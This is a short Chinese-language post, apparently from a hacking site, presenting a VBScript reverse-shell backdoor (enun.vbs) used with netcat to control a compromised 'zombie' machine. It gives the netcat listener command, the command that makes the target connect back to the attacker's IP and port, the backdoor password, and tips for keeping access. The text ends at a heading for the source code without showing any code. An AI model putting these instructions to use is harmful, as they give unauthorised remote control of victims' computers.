這個cmdshell需要結合nc進行配合使用，現在肉雞上執行cmdshell然后在本地上面運行nc，注意看下面的參數

請先下載 mswinsck.ocx 與 VB6Controls.reg！

使用方法：

1，控制：nc.exe，執行：nc -l -v -p 1234；

2，目標：cscript.exe enun.vbs IP Port；

3，密碼：enun。

幾點說明：
1，退出 SHELL，請輸入 “exit”，不要用 “Ctrl + C”，這樣的話只能等目標重啟或手動運行后門才能連接；
2，Windows 7 等環境下普通標準用戶也能使用，但是獲取的權限相對有限。
3，內部命令及管道使用如下圖：

enun.vbs 源碼：

復制代碼代碼如下:
